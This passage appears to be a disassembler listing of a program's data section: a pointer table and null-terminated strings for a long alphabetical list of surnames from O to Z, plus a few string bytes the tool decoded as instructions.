; "Olszewski" dd offset aOMalley ; "O'malley" dd offset aOman ; "Oman" dd offset aOMeara ; "O'meara" dd offset aOpel ; "Opel" dd offset aOray ; "Oray" dd offset aOrfield ; "Orfield" dd offset aOrsi ; "Orsi" dd offset aOspina ; "Ospina" dd offset aOstrowski ; "Ostrowski" dd offset aOttaviani ; "Ottaviani" dd offset aOtten ; "Otten" dd offset aOuchida ; "Ouchida" dd offset aOvid ; "Ovid" dd offset aPaesdealmeida ; "PaesDealmeida" dd offset aPaine ; "Paine" dd offset aPalayoor ; "Palayoor" dd offset aPalepu ; "Palepu" dd offset aPallara ; "Pallara" dd offset aPalmitesta ; "Palmitesta" dd offset aPanadero ; "Panadero" dd offset aPanizzon ; "Panizzon" dd offset aPantilla ; "Pantilla" dd offset aPaoletti ; "Paoletti" dd offset aParmeggiani ; "Parmeggiani" dd offset aParris ; "Parris" dd offset aPartridge ; "Partridge" dd offset aPascucci ; "Pascucci" dd offset aPatefield ; "Patefield" dd offset aPatrick ; "Patrick" dd offset aPattullo ; "Pattullo" dd offset aPavetti ; "Pavetti" dd offset aPavlon ; "Pavlon" dd offset aPawloski ; "Pawloski" dd offset aPaynter ; "Paynter" dd offset aPeabody ; "Peabody" dd offset aPearlberg ; "Pearlberg" dd offset aPederson ; "Pederson" dd offset aPeishel ; "Peishel" dd offset aPenny ; "Penny" dd offset aPereira ; "Pereira" dd offset aPerko ; "Perko" dd offset aPerlak ; "Perlak" dd offset aPerlman ; "Perlman" dd offset aPerna ; "Perna" dd offset aPerone ; "Perone" dd offset aPerrimon ; "Perrimon" dd offset aPeters ; "Peters" dd offset aPetruzello ; "Petruzello" dd offset aPettibone ; "Pettibone" dd offset aPettit ; "Pettit" dd offset aPfister ; "Pfister" dd offset aPilbeam ; "Pilbeam" dd offset aPinot ; "Pinot" dd offset aPlancon ; "Plancon" dd offset aPlant ; "Plant" dd offset aPlasket ; "Plasket" dd offset aPlous ; "Plous" dd offset aPo ; "Po" dd offset aPocobene ; "Pocobene" dd offset aPoincaire ; "Poincaire" dd offset aPointer ; "Pointer" dd offset aPoirier ; "Poirier" dd offset aPolak ; "Polak" dd offset aPolanyi ; "Polanyi" dd offset aPolitis ; "Politis" dd offset aPoma ; "Poma" dd offset aPoolman ; "Poolman" dd offset aPowers ; "Powers" dd offset aPresper ; "Presper" dd offset aPreucel ; "Preucel" dd offset aPrevost ; "Prevost" dd offset aPritchard ; "Pritchard" dd offset aPritz ; "Pritz" dd offset aProietti ; "Proietti" dd offset aProthrowStith ; "Prothrow-Stith" dd offset aPuccia ; "Puccia" dd offset aPugh ; "Pugh" dd offset aPynchon ; "Pynchon" dd offset aQuaday ; "Quaday" dd offset aQuetin ; "Quetin" dd offset aRabe ; "Rabe" dd offset aRabkin ; "Rabkin" dd offset aRadeke ; "Radeke" dd offset aRajagopalan ; "Rajagopalan" dd offset aRaney ; "Raney" dd offset aRangan ; "Rangan" dd offset aRankin ; "Rankin" dd offset aRapple ; "Rapple" dd offset aRayport ; "Rayport" dd offset aReddenTyler ; "Redden-Tyler" dd offset aReedquist ; "Reedquist" dd offset aCunningham ; "Cunningham" dd offset aReinold ; "Reinold" dd offset aRemak ; "Remak" dd offset aRenick ; "Renick" dd offset aRepetto ; "Repetto" dd offset aResnik ; "Resnik" dd offset aRhea ; "Rhea" dd offset aRichmond ; "Richmond" dd offset aRielly ; "Rielly" dd offset aRindos ; "Rindos" dd offset aRineer ; "Rineer" dd offset aRish ; "Rish" dd offset aRivera ; "Rivera" dd offset aRobinson ; "Robinson" dd offset aRocha ; "Rocha" dd offset aRoesler ; "Roesler" dd offset aRogers ; "Rogers" dd offset aRonen ; "Ronen" dd offset aRow ; "Row" dd offset aRoyal ; "Royal" dd offset aRu ; "Ru" dd offset aRuan ; "Ruan" dd offset aRuderman ; "Ruderman" dd offset aRuescher ; "Ruescher" dd offset aRush ; "Rush" dd offset aRyu ; "Ryu" dd offset aSabatello ; "Sabatello" dd offset aSadler ; "Sadler" dd offset aSafire ; "Safire" dd offset aSahu ; "Sahu" dd offset aSali ; "Sali" dd offset aSamson ; "Samson" dd offset aSanchezRamirez ; "Sanchez-Ramirez" dd offset aSanna ; "Sanna" dd offset aSapers ; "Sapers" dd offset aSarin ; "Sarin" dd offset aSartore ; "Sartore" dd offset aSase ; "Sase" dd offset aSatin ; "Satin" dd offset aSatta ; "Satta" dd offset aSatterthwaite ; "Satterthwaite" dd offset aSawtell ; "Sawtell" dd offset aSayied ; "Sayied" dd offset aScarponi ; "Scarponi" dd offset aScepan ; "Scepan" dd offset aScharf ; "Scharf" dd offset aScharlemann ; "Scharlemann" dd offset aScheiner ; "Scheiner" dd offset aSchiano ; "Schiano" dd offset aSchifini ; "Schifini" dd offset aSchilling ; "Schilling" dd offset aSchmitt ; "Schmitt" dd offset aSchossberger ; "Schossberger" dd offset aSchuman ; "Schuman" dd offset aSchutte ; "Schutte" dd offset aSchuyler ; "Schuyler" dd offset aSchwan ; "Schwan" dd offset aSchwickrath ; "Schwickrath" dd offset aScovel ; "Scovel" dd offset aScudder ; "Scudder" dd offset aSeaton ; "Seaton" dd offset aSeeber ; "Seeber" dd offset aSegal ; "Segal" dd offset aSekler ; "Sekler" dd offset aSelvage ; "Selvage" dd offset aSen ; "Sen" dd offset aSennett ; "Sennett" dd offset aSeterdahl ; "Seterdahl" dd offset aSexton ; "Sexton" dd offset aSeyfert ; "Seyfert" dd offset aShaikh ; "Shaikh" dd offset aShakis ; "Shakis" dd offset aShankland ; "Shankland" dd offset aShanley ; "Shanley" dd offset aShar ; "Shar" dd offset aShatrov ; "Shatrov" dd offset aShavelson ; "Shavelson" dd offset aShea ; "Shea" dd offset aSheats ; "Sheats" dd offset aShepherd ; "Shepherd" dd offset aSheppard ; "Sheppard" dd offset aShepstone ; "Shepstone" dd offset aShesko ; "Shesko" dd offset aShia ; "Shia" dd offset aShibata ; "Shibata" dd offset aShimon ; "Shimon" dd offset aSiesto ; "Siesto" dd offset aSigalot ; "Sigalot" dd offset aSigini ; "Sigini" dd offset aSigna ; "Signa" dd offset aSilverman ; "Silverman" dd offset aSilvetti ; "Silvetti" dd offset aSinsabaugh ; "Sinsabaugh" dd offset aSirilli ; "Sirilli" dd offset aSites ; "Sites" dd offset aSkane ; "Skane" dd offset aSkerry ; "Skerry" dd offset aSkoda ; "Skoda" dd offset aSloan ; "Sloan" dd offset aSlowe ; "Slowe" dd offset aSmilow ; "Smilow" dd offset aSniffen ; "Sniffen" dd offset aSnodgrass ; "Snodgrass" dd offset aSocolow ; "Socolow" dd offset aSolon ; "Solon" dd offset aSomers ; "Somers" dd offset aSommariva ; "Sommariva" dd offset aSorabella ; "Sorabella" dd offset aSorg ; "Sorg" dd offset aSottak ; "Sottak" dd offset aSoukup ; "Soukup" dd offset aSoule ; "Soule" dd offset aSoultanian ; "Soultanian" dd offset aSpanier ; "Spanier" dd offset aSparrow ; "Sparrow" dd offset aSpaulding ; "Spaulding" dd offset aSpeizer ; "Speizer" dd offset aSpence ; "Spence" dd offset aSperber ; "Sperber" dd offset aSpicer ; "Spicer" dd offset aSpiegelhalter ; "Spiegelhalter" dd offset aSpiliotis ; "Spiliotis" dd offset aSpinrad ; "Spinrad" dd offset aStmartin ; "StMartin" dd offset aStalvey ; "Stalvey" dd offset aStam ; "Stam" dd offset aStang ; "Stang" dd offset aStassinopolus ; "Stassinopolus" dd offset aStates ; "States" dd offset aStatlender ; "Statlender" dd offset aStefani ; "Stefani" dd offset aSteiner ; "Steiner" dd offset aStephanian ; "Stephanian" dd offset aStepniewska ; "Stepniewska" dd offset aStewartOaten ; "Stewart-Oaten" dd offset aStiepock ; "Stiepock" dd offset aStillwell ; "Stillwell" dd offset aStock ; "Stock" dd offset aStockton ; "Stockton" dd offset aStockwell ; "Stockwell" dd offset aStolzenberg ; "Stolzenberg" dd offset aStonich ; "Stonich" dd offset aStorer ; "Storer" dd offset aStott ; "Stott" dd offset aStrange ; "Strange" dd offset aStrauch ; "Strauch" dd offset aStreiff ; "Streiff" dd offset aStringer ; "Stringer" dd offset aSullivan ; "Sullivan" dd offset aSumner ; "Sumner" dd offset aSuo ; "Suo" dd offset aSurdam ; "Surdam" dd offset aSweeting ; "Sweeting" dd offset aSweetser ; "Sweetser" dd offset aSwindle ; "Swindle" dd offset aTagiuri ; "Tagiuri" dd offset aTai ; "Tai" dd offset aTalaugon ; "Talaugon" dd offset aTambiah ; "Tambiah" dd offset aTandler ; "Tandler" dd offset aTanowitz ; "Tanowitz" dd offset aTatar ; "Tatar" dd offset aTaveras ; "Taveras" dd offset aTawn ; "Tawn" dd offset aTcherepnin ; "Tcherepnin" dd offset aTeague ; "Teague" dd offset aTemes ; "Temes" dd offset aTemmer ; "Temmer" dd offset aTenney ; "Tenney" dd offset aTerracini ; "Terracini" dd offset aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" ; --------------------------------------------------------------------------- and ah, ch inc edx add [esp+ebp*8], dl inc edx add [esp+ebp*8], cl inc edx add [esp+ebp*8], al inc edx add ah, bh jmp short loc_42EC09 ; --------------------------------------------------------------------------- align 4 dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aZytowski db 'Zytowski',0 ; DATA XREF: ___:0042EBD4o align 4 aZwiers db 'Zwiers',0 ; DATA XREF: ___:0042EBD0o align 4 aZurn db 'Zurn',0 ; DATA XREF: ___:0042EBCCo align 4 aZucconi db 'Zucconi',0 ; DATA XREF: ___:0042EBC8o aZoldak db 'Zoldak',0 align 4 dd 6272655Ah db 69h ; --------------------------------------------------------------------------- loc_42EC09: ; CODE XREF: ___:0042EBC5j outsb imul eax, [eax], 6167655Ah outsb jnb short $+2 add [edx+61h], bl outsb db 67h ja near ptr 0EC83h insb insb ; --------------------------------------------------------------------------- dd 0 aZahedi db 'Zahedi',0 align 4 aZachary db 'Zachary',0 ; DATA XREF: ___:0042EBB0o aYu db 'Yu',0 ; DATA XREF: ___:0042EBACo align 4 aYoukSee db 'Youk-See',0 ; DATA XREF: ___:0042EBA8o align 10h aYoo db 'Yoo',0 ; DATA XREF: ___:0042EBA4o aYoffe db 'Yoffe',0 ; DATA XREF: ___:0042EBA0o align 4 aYetiv db 'Yetiv',0 ; DATA XREF: ___:0042EB9Co align 4 aYesson db 'Yesson',0 ; DATA XREF: ___:0042EB98o align 4 aYedidia db 'Yedidia',0 ; DATA XREF: ___:0042EB94o aYbarra db 'Ybarra',0 ; DATA XREF: ___:0042EB90o align 4 aYates db 'Yates',0 ; DATA XREF: ___:0042EB8Co align 4 aYarchuk db 'Yarchuk',0 ; DATA XREF: ___:0042EB88o aYankee db 'Yankee',0 ; DATA XREF: ___:0042EB84o align 4 aYamane db 'Yamane',0 ; DATA XREF: ___:0042EB80o align 4 aYacono db 'Yacono',0 ; DATA XREF: ___:0042EB7Co align 4 aVotey db 'Votey',0 ; DATA XREF: ___:0042EB78o align 4 aVorhaus db 'Vorhaus',0 ; DATA XREF: ___:0042EB74o aWoodsPowell db 'Woods-Powell',0 ; DATA XREF: ___:0042EB70o align 4 aWoods db 'Woods',0 ; DATA XREF: ___:0042EB6Co align 4 aWooden db 'Wooden',0 ; DATA XREF: ___:0042EB68o align 4 aWoo db 'Woo',0 ; DATA XREF: ___:0042EB64o aVonhoffman db 'VonHoffman',0 ; DATA XREF: ___:0042EB60o align 4 aWolk db 'Wolk',0 ; DATA XREF: ___:0042EB5Co align 4 aVoigt db 'Voigt',0 ; DATA XREF: ___:0042EB58o align 4 aViviani db 'Viviani',0 ; DATA XREF: ___:0042EB54o aVitali db 'Vitali',0 ; DATA XREF: ___:0042EB50o align 4 aWilson db 'Wilson',0 ; DATA XREF: ___:0042EB4Co align 4 aWillstatter db 'Willstatter',0 ; DATA XREF: ___:0042EB48o aVillarreal db 'Villarreal',0 ; DATA XREF: ___:0042EB44o align 4 aWilkinson db 'Wilkinson',0 ; DATA XREF: ___:0042EB40o align 10h aWilkin db 'Wilkin',0 ; DATA XREF: ___:0042EB3Co align 4 aWilk db 'Wilk',0 ; DATA XREF: ___:0042EB38o align 10h aWilhelm db 'Wilhelm',0 ; DATA XREF: ___:0042EB34o aWilder db 'Wilder',0 ; DATA XREF: ___:0042EB30o align 10h aVignola db 'Vignola',0 ; DATA XREF: ___:0042EB2Co aViens db 'Viens',0 ; DATA XREF: ___:0042EB28o align 10h aWiener db 'Wiener',0 ; DATA XREF: ___:0042EB24o align 4 aWiedersheim db 'Wiedersheim',0 ; DATA XREF: ___:0042EB20o aViano db 'Viano',0 ; DATA XREF: ___:0042EB1Co align 4 aViana db 'Viana',0 ; DATA XREF: ___:0042EB18o align 4 aWhittaker db 'Whittaker',0 ; DATA XREF: ___:0042EB14o align 10h aWhitla db 'Whitla',0 ; DATA XREF: ___:0042EB10o align 4 aWhite db 'White',0 ; DATA XREF: ___:0042EB0Co align 10h aWhilton db 'Whilton',0 ; DATA XREF: ___:0042EB08o aWhately db 'Whately',0 ; DATA XREF: ___:0042EB04o aWetzel db 'Wetzel',0 ; DATA XREF: ___:0042EB00o align 4 aWescott db 'Wescott',0 ; DATA XREF: ___:0042EAFCo aVerghese db 'Verghese',0 ; DATA XREF: ___:0042EAF8o align 4 aVenne db 'Venne',0 ; DATA XREF: ___:0042EAF4o align 4 aWengret db 'Wengret',0 ; DATA XREF: ___:0042EAF0o aWelsh db 'Welsh',0 ; DATA XREF: ___:0042EAECo align 4 aWelles db 'Welles',0 ; DATA XREF: ___:0042EAE8o align 4 aVelasquez db 'Velasquez',0 ; DATA XREF: ___:0042EAE4o align 4 aWeissman db 'Weissman',0 ; DATA XREF: ___:0042EAE0o align 4 aWeissbourd db 'Weissbourd',0 ; DATA XREF: ___:0042EADCo align 10h aWeinhaus db 'Weinhaus',0 ; DATA XREF: ___:0042EAD8o align 4 aWeingarten db 'Weingarten',0 ; DATA XREF: ___:0042EAD4o align 4 aWeighart db 'Weighart',0 ; DATA XREF: ___:0042EAD0o align 4 aWaugh db 'Waugh',0 ; DATA XREF: ___:0042EACCo align 4 aVasquez db 'Vasquez',0 ; DATA XREF: ___:0042EAC8o aWasowska db 'Wasowska',0 ; DATA XREF: ___:0042EAC4o align 10h aWarshafsky db 'Warshafsky',0 ; DATA XREF: ___:0042EAC0o align 4 aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: ___:0042EABCo align 4 aVandenberg db 'Vandenberg',0 ; DATA XREF: ___:0042EAB8o align 4 aVanzwet db 'VanZwet',0 ; DATA XREF: ___:0042EAB4o aVanallen db 'vanAllen',0 ; DATA XREF: ___:0042EAB0o align 4 aWalter db 'Walter',0 ; DATA XREF: ___:0042EAACo align 4 aWallenberg db 'Wallenberg',0 ; DATA XREF: ___:0042EAA8o align 10h aWales db 'Wales',0 ; DATA XREF: ___:0042EAA4o align 4 aValencia db 'Valencia',0 ; DATA XREF: ___:0042EAA0o align 4 aValberg db 'Valberg',0 ; DATA XREF: ___:0042EA9Co aWaite db 'Waite',0 ; DATA XREF: ___:0042EA98o align 4 aVacca db 'Vacca',0 ; DATA XREF: ___:0042EA94o align 4 aUzuner db 'Uzuner',0 ; DATA XREF: ___:0042EA90o align 4 aUsdan db 'Usdan',0 ; DATA XREF: ___:0042EA8Co align 4 aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: ___:0042EA88o align 4 aUrban db 'Urban',0 ; DATA XREF: ___:0042EA84o align 4 aUpsdell db 'Upsdell',0 ; DATA XREF: ___:0042EA80o aUntermeyer db 'Untermeyer',0 ; DATA XREF: ___:0042EA7Co align 4 aUllman db 'Ullman',0 ; DATA XREF: ___:0042EA78o align 10h aTzamarias db 'Tzamarias',0 ; DATA XREF: ___:0042EA74o align 4 aTwells db 'Twells',0 ; DATA XREF: ___:0042EA70o align 4 aTuttle db 'Tuttle',0 ; DATA XREF: ___:0042EA6Co align 4 aTurek db 'Turek',0 ; DATA XREF: ___:0042EA68o align 4 aTurano db 'Turano',0 ; DATA XREF: ___:0042EA64o align 4 aTukan db 'Tukan',0 ; DATA XREF: ___:0042EA60o align 4 aTudge db 'Tudge',0 ; DATA XREF: ___:0042EA5Co align 4 aTuck db 'Tuck',0 ; DATA XREF: ___:0042EA58o align 4 aTsukurov db 'Tsukurov',0 ; DATA XREF: ___:0042EA54o align 10h aTsomides db 'Tsomides',0 ; DATA XREF: ___:0042EA50o align 4 aTsiatis db 'Tsiatis',0 ; DATA XREF: ___:0042EA4Co aTruss db 'Truss',0 ; DATA XREF: ___:0042EA48o align 4 aTroy db 'Troy',0 ; DATA XREF: ___:0042EA44o align 4 aTroiani db 'Troiani',0 ; DATA XREF: ___:0042EA40o aTringali db 'Tringali',0 ; DATA XREF: ___:0042EA3Co align 4 aTrewin db 'Trewin',0 ; DATA XREF: ___:0042EA38o align 10h aTrenga db 'Trenga',0 ; DATA XREF: ___:0042EA34o align 4 aTraebert db 'Traebert',0 ; DATA XREF: ___:0042EA30o align 4 aToye db 'Toye',0 ; DATA XREF: ___:0042EA2Co align 4 aTowler db 'Towler',0 ; DATA XREF: ___:0042EA28o align 4 aTorske db 'Torske',0 ; DATA XREF: ___:0042EA24o align 4 aTorresi db 'Torresi',0 ; DATA XREF: ___:0042EA20o aTopulos db 'Topulos',0 ; DATA XREF: ___:0042EA1Co aToomer db 'Toomer',0 ; DATA XREF: ___:0042EA18o align 4 aTomford db 'Tomford',0 ; DATA XREF: ___:0042EA14o aTolman db 'Tolman',0 ; DATA XREF: ___:0042EA10o align 4 aTolls db 'Tolls',0 ; DATA XREF: ___:0042EA0Co align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: ___:0042EA08o align 4 aTofallis db 'Tofallis',0 ; DATA XREF: ___:0042EA04o align 4 aTimmons db 'Timmons',0 ; DATA XREF: ___:0042EA00o aTill db 'Till',0 ; DATA XREF: ___:0042E9FCo align 4 aTierney db 'Tierney',0 ; DATA XREF: ___:0042E9F8o aThroop db 'Throop',0 ; DATA XREF: ___:0042E9F4o align 4 aThomsen db 'Thomsen',0 ; DATA XREF: ___:0042E9F0o aThisted db 'Thisted',0 ; DATA XREF: ___:0042E9ECo aThibault db 'Thibault',0 ; DATA XREF: ___:0042E9E8o align 10h aTheodos db 'Theodos',0 ; DATA XREF: ___:0042E9E4o aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: ___:0042E9E0o align 4 aThan db 'Than',0 ; DATA XREF: ___:0042E9DCo align 10h aTerracini db 'Terracini',0 ; DATA XREF: ___:0042E9D8o align 4 aTenney db 'Tenney',0 ; DATA XREF: ___:0042E9D4o align 4 aTemmer db 'Temmer',0 ; DATA XREF: ___:0042E9D0o align 4 aTemes db 'Temes',0 ; DATA XREF: ___:0042E9CCo align 4 aTeague db 'Teague',0 ; DATA XREF: ___:0042E9C8o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: ___:0042E9C4o align 4 aTawn db 'Tawn',0 ; DATA XREF: ___:0042E9C0o align 10h aTaveras db 'Taveras',0 ; DATA XREF: ___:0042E9BCo aTatar db 'Tatar',0 ; DATA XREF: ___:0042E9B8o align 10h aTanowitz db 'Tanowitz',0 ; DATA XREF: ___:0042E9B4o align 4 aTandler db 'Tandler',0 ; DATA XREF: ___:0042E9B0o aTambiah db 'Tambiah',0 ; DATA XREF: ___:0042E9ACo aTalaugon db 'Talaugon',0 ; DATA XREF: ___:0042E9A8o align 4 aTai db 'Tai',0 ; DATA XREF: ___:0042E9A4o aTagiuri db 'Tagiuri',0 ; DATA XREF: ___:0042E9A0o aSwindle db 'Swindle',0 ; DATA XREF: ___:0042E99Co aSweetser db 'Sweetser',0 ; DATA XREF: ___:0042E998o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: ___:0042E994o align 4 aSurdam db 'Surdam',0 ; DATA XREF: ___:0042E990o align 4 aSuo db 'Suo',0 ; DATA XREF: ___:0042E98Co aSumner db 'Sumner',0 ; DATA XREF: ___:0042E988o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: ___:0042E984o align 4 aStringer db 'Stringer',0 ; DATA XREF: ___:0042E980o align 10h aStreiff db 'Streiff',0 ; DATA XREF: ___:0042E97Co aStrauch db 'Strauch',0 ; DATA XREF: ___:0042E978o aStrange db 'Strange',0 ; DATA XREF: ___:0042E974o aStott db 'Stott',0 ; DATA XREF: ___:0042E970o align 10h aStorer db 'Storer',0 ; DATA XREF: ___:0042E96Co align 4 aStonich db 'Stonich',0 ; DATA XREF: ___:0042E968o aStolzenberg db 'Stolzenberg',0 ; DATA XREF: ___:0042E964o aStockwell db 'Stockwell',0 ; DATA XREF: ___:0042E960o align 4 aStockton db 'Stockton',0 ; DATA XREF: ___:0042E95Co align 4 aStock db 'Stock',0 ; DATA XREF: ___:0042E958o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: ___:0042E954o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: ___:0042E950o align 4 aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: ___:0042E94Co align 4 aStepniewska db 'Stepniewska',0 ; DATA XREF: ___:0042E948o aStephanian db 'Stephanian',0 ; DATA XREF: ___:0042E944o align 4 aSteiner db 'Steiner',0 ; DATA XREF: ___:0042E940o aStefani db 'Stefani',0 ; DATA XREF: ___:0042E93Co aStatlender db 'Statlender',0 ; DATA XREF: ___:0042E938o align 4 aStates db 'States',0 ; DATA XREF: ___:0042E934o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: ___:0042E930o align 10h aStang db 'Stang',0 ; DATA XREF: ___:0042E92Co align 4 aStam db 'Stam',0 ; DATA XREF: ___:0042E928o align 10h aStalvey db 'Stalvey',0 ; DATA XREF: ___:0042E924o aStmartin db 'StMartin',0 ; DATA XREF: ___:0042E920o align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: ___:0042E91Co aSpiliotis db 'Spiliotis',0 ; DATA XREF: ___:0042E918o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: ___:0042E914o align 4 aSpicer db 'Spicer',0 ; DATA XREF: ___:0042E910o align 10h aSperber db 'Sperber',0 ; DATA XREF: ___:0042E90Co aSpence db 'Spence',0 ; DATA XREF: ___:0042E908o align 10h aSpeizer db 'Speizer',0 ; DATA XREF: ___:0042E904o aSpaulding db 'Spaulding',0 ; DATA XREF: ___:0042E900o align 4 aSparrow db 'Sparrow',0 ; DATA XREF: ___:0042E8FCo aSpanier db 'Spanier',0 ; DATA XREF: ___:0042E8F8o aSoultanian db 'Soultanian',0 ; DATA XREF: ___:0042E8F4o align 10h aSoule db 'Soule',0 ; DATA XREF: ___:0042E8F0o align 4 aSoukup db 'Soukup',0 ; DATA XREF: ___:0042E8ECo align 10h aSottak db 'Sottak',0 ; DATA XREF: ___:0042E8E8o align 4 aSorg db 'Sorg',0 ; DATA XREF: ___:0042E8E4o align 10h aSorabella db 'Sorabella',0 ; DATA XREF: ___:0042E8E0o align 4 aSommariva db 'Sommariva',0 ; DATA XREF: ___:0042E8DCo align 4 aSomers db 'Somers',0 ; DATA XREF: ___:0042E8D8o align 10h aSolon db 'Solon',0 ; DATA XREF: ___:0042E8D4o align 4 aSocolow db 'Socolow',0 ; DATA XREF: ___:0042E8D0o aSnodgrass db 'Snodgrass',0 ; DATA XREF: ___:0042E8CCo align 4 aSniffen db 'Sniffen',0 ; DATA XREF: ___:0042E8C8o aSmilow db 'Smilow',0 ; DATA XREF: ___:0042E8C4o align 4 aSlowe db 'Slowe',0 ; DATA XREF: ___:0042E8C0o align 4 aSloan db 'Sloan',0 ; DATA XREF: ___:0042E8BCo align 4 aSkoda db 'Skoda',0 ; DATA XREF: ___:0042E8B8o align 4 aSkerry db 'Skerry',0 ; DATA XREF: ___:0042E8B4o align 4 aSkane db 'Skane',0 ; DATA XREF: ___:0042E8B0o align 4 aSites db 'Sites',0 ; DATA XREF: ___:0042E8ACo align 4 aSirilli db 'Sirilli',0 ; DATA XREF: ___:0042E8A8o aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: ___:0042E8A4o align 10h aSilvetti db 'Silvetti',0 ; DATA XREF: ___:0042E8A0o align 4 aSilverman db 'Silverman',0 ; DATA XREF: ___:0042E89Co align 4 aSigna db 'Signa',0 ; DATA XREF: ___:0042E898o align 10h aSigini db 'Sigini',0 ; DATA XREF: ___:0042E894o align 4 aSigalot db 'Sigalot',0 ; DATA XREF: ___:0042E890o aSiesto db 'Siesto',0 ; DATA XREF: ___:0042E88Co align 4 aShimon db 'Shimon',0 ; DATA XREF: ___:0042E888o align 10h aShibata db 'Shibata',0 ; DATA XREF: ___:0042E884o aShia db 'Shia',0 ; DATA XREF: ___:0042E880o align 10h aShesko db 'Shesko',0 ; DATA XREF: ___:0042E87Co align 4 aShepstone db 'Shepstone',0 ; DATA XREF: ___:0042E878o align 4 aSheppard db 'Sheppard',0 ; DATA XREF: ___:0042E874o align 10h aShepherd db 'Shepherd',0 ; DATA XREF: ___:0042E870o align 4 aSheats db 'Sheats',0 ; DATA XREF: ___:0042E86Co align 4 aShea db 'Shea',0 ; DATA XREF: ___:0042E868o align 4 aShavelson db 'Shavelson',0 ; DATA XREF: ___:0042E864o align 4 aShatrov db 'Shatrov',0 ; DATA XREF: ___:0042E860o aShar db 'Shar',0 ; DATA XREF: ___:0042E85Co align 4 aShanley db 'Shanley',0 ; DATA XREF: ___:0042E858o aShankland db 'Shankland',0 ; DATA XREF: ___:0042E854o align 4 aShakis db 'Shakis',0 ; DATA XREF: ___:0042E850o align 4 aShaikh db 'Shaikh',0 ; DATA XREF: ___:0042E84Co align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: ___:0042E848o aSexton db 'Sexton',0 ; DATA XREF: ___:0042E844o align 4 aSeterdahl db 'Seterdahl',0 ; DATA XREF: ___:0042E840o align 4 